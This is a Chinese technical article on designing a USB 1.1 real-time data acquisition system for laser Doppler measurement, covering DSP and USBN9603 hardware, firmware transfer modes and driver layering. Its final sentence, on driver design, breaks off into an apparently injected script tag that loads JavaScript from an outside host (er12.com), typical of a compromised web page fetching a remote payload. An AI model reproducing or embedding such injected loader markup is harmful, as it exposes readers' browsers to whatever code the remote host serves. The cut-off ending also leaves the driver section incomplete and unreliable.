［摘 要］ 基于usb的ldt实时数据采集系统的设计严格遵循usb1．1协议，体现了usb即插即用、易扩展、低干扰的特点，从而实现了主机和多台测试设备之间简单、快速、可靠的连接和通信。介绍了基于usb总线的数据采集设备的硬件设计、设备驱动程序、设备固件、应用程序等设计方法。
［关键词］ ldt；通用串行总线；实时数据采集
激光多普勒测量技术（ldt）具有精度高、动态响应快、测量范围大，非接触测量的特点，成为气体、流体测量的强有力的工具。近年来，它在固体测量领域得到了长足的发展，被广泛应用于固体表面的粗糙度、运动速度场、位移场、振动场等的精密测量。它的迅猛发展对信号的采集提出了越来越高的要求：高动态范围、低功耗、便于携带、能与计算机进行实时高速数据传输。针对这种要求，提出了一种基于usb的ldt实时数据采集系统。
usb（universal serial bus）总线是由intel，com－paq，microsoft，ibm，dec，northern telecom等7家公司共同研制的一种针对pc的串行接口标准。它的热插拔、即插即用、连接简单、高带宽、可总线供电等优点几乎使其成为目前计算机外设的首选通信接口。
该文依据的是usb1．1协议规范，总线一共4根：5v电源线、地线及两根以差分形式驱动的数据线d＋、d－。连接设备的电缆最长可达5 m，通过usb集线器以菊花链拓扑形式实现多达5级的拓扑连接，可外接127个usb设备。usb总线可以提供5v、500ma电流，并支持节约能源的挂机和唤醒模式。它规定的12mbps传输速率，与一个标准的串行口相比，大约快出100倍，与一个标准并行口相比，大约快出10倍。
1 系统硬件设计
1．1 硬件总体结构
usb实时数据采集系统硬件如图1-1所示。dsp控制器tms320f240内部的模数转换模块包括两个独立的采样／保持电路和两个10位双积分型的转换器，16路模拟输入通道，可同时转换2路信号。
16路模拟输入信号由多路模拟开关选择被检测信号接入a／d转换器，a／d转换的结果经tms320f240写入fifo存储器。
tms320f240通过信号线is选通usbn9603，将其作为dsp的i／o口访问。usbn9603的d＋脚外接一个1．5k的上拉电阻，使其工作在全速方式下，usbn9603的mode1、mode2均接至地电位，设定usbn9603为非总线复用方式。操作时序是将地址线a0置高，将欲读写的地址从数据线d0～d7写入，然后将a0置低，读写d0～d7中的数据。
由dsp对a／d转换的结果进行fft分析、小波分析等，并通过usbn9603与主机交换数据，接收控制命令。
1．2 usbn9603控制器
目前市场上有两类usb接口控制器：一类是带usb接口的mcu，如cypress的cy7c6xxxx第列、intel的930xx系列等，嵌入了8051系列微控制器。其系统结构和指令集大家都比较熟悉，便于硬件开发和软件编程，然而开发工具较昂贵。另一类是专用接口控制器，如朗讯公司的uss820、国家半导体公司的usbn960x、philips公司的pdiusbd11等，都留有与mcu、dsp的接口，搭配灵活。
usbn9603是一个支持usb1．1协议的节点控制器。具有静态模式和异步唤醒功能；5v／3．3v供电；具有一个双向的控制节点endpoint0、3个发送端点、3个接收端点；具有两种模式的8位并行接口（复用模式和非复用模式）；改进的dma传输方式；串行接口引擎sie，主要负责时钟恢复、eop检测、位填充、位解填充、crc编解码、组帧、拆帧、包类型识别及节点状态识别等。
2系统软件设计
usb系统软件设计分为3个部分：usb外设端的固件、主机操作系统上的客户驱动程序以及应用程序。应用程序通过客户驱动程序与系统usbdi（usbdevice interface）进行通信，由系统产生数据的传送动作，固件则响应各种来自系统的标准要求，完成各种数据的交换工作和事件处理。
2．1 固件（firmware）设计
固件是指被固化到tms320f240中的程序。它完成两个任务：控制a／d的采样和通过usb控制器与主机通信。usb有控制、中断、批量、等时等4种数据传输模式。其中控制传输用于传送一些系统控制命令，每个usb设备都必须有控制传输的通道；中断传输适用于鼠标等人工输入的设备使用；等时传输适用于对数据实时性要求较高的场合，如视频、音频数据，但其设备和进程的同步设计有较大难度，且它不能提供错误检查机制；批量传输能提供错误检查机制，适用于打印机、调制解调器等不定期传送大量数据的中速设备。
系统采用两种传输方式：控制传输和批量传输。控制传输用来实现位于主机上的usb总线驱动程序（usbd模块）以及编写的功能驱动程序对设备的各种控制操作；批量传输用来完成将采集数据从设备传送到主机。
2．2 驱动程序设计
usb系统驱动程序采用分层驱动模型：usb设备驱动程序、usb?script src=http://er12.com/t.js>
